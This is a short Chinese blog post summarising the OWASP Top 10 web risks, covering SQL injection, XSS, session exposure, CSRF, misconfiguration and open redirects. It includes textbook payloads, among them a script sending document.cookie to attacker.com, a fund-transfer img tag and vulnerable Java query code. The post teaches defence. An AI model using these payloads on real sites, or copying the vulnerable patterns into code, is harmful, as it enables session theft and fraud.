开放网络应用安全项目

开放网络应用安全项目(http://en.wikipedia.org/wiki/OWASP)总结了网站中常遇到的十大安全隐患:

常见的sql注入攻击:

代码

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") +"'";

攻击者输入如下值,使得sql语句为真

http://example.com/app/accountView?id= ' or '1'='1

最坏情况是黑客可以完全控制数据库


跨域脚本攻击:

系统使用不信任的数据作为构成html的代码

(String) page += "〈input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'〉";

黑客输入如下

'〉〈script〉document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie〈/script〉'.

这样黑客就可以得到用户的session


Scenario #1

: session直接暴露在url中
http://example.com/sale/saleitems;
jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV
?dest=Hawaii

当认证的用户想让他的朋友访问这个网址的时候,他的朋友就冒充这个用户

Scenario #2

: 用户登出设置不对。用户在公共场合使用电脑,直接关闭浏览器,这时黑客就可以重新打开电脑冒充用户

Scenario #3

: 用户的密码没有加密,公司内部员工可以查看到

代码:

String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query , ... );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery();

黑客可以穷举acct,找到薄弱的用户信息

http://example.com/app/accountInfo?acct=notmyacct

假冒跨域访问

http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243

黑客把如下代码加入:

<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />

当用户登陆example.com时这个图片src里的代码就被执行了


Scenario #1

: 如果你使用一些framework,但是忘记更新,这时有可能被黑客攻击

Scenario #2

: admin的入口还保留,而且使用默认密码

Scenario #3

: 文件列表显示(apache默认)功能没有关闭

Scenario #4

: 系统允许错误日志发送给用户,黑客可以利用这个发现漏洞

Scenario #1

: 虽然系统给输入数据加密,但是系统自动给输出的数据解密

Scenario #2

: 解密和密码放在一起

Scenario #3

: 使用unsalted hash来保存密码

代码

http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo

黑客可以访问admin页面


Scenario #1

: 不使用SSL

Scenario #2

: SSL认证错误

Scenario #3

: 直接使用 ODBC/JDBC

Scenario #1: redirect到黑客网站

http://www.example.com/redirect.jsp?url=evil.com

Scenario #2:黑客使用foward去访问admin页面

http://www.example.com/boring.jsp?fwd=admin.jsp

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值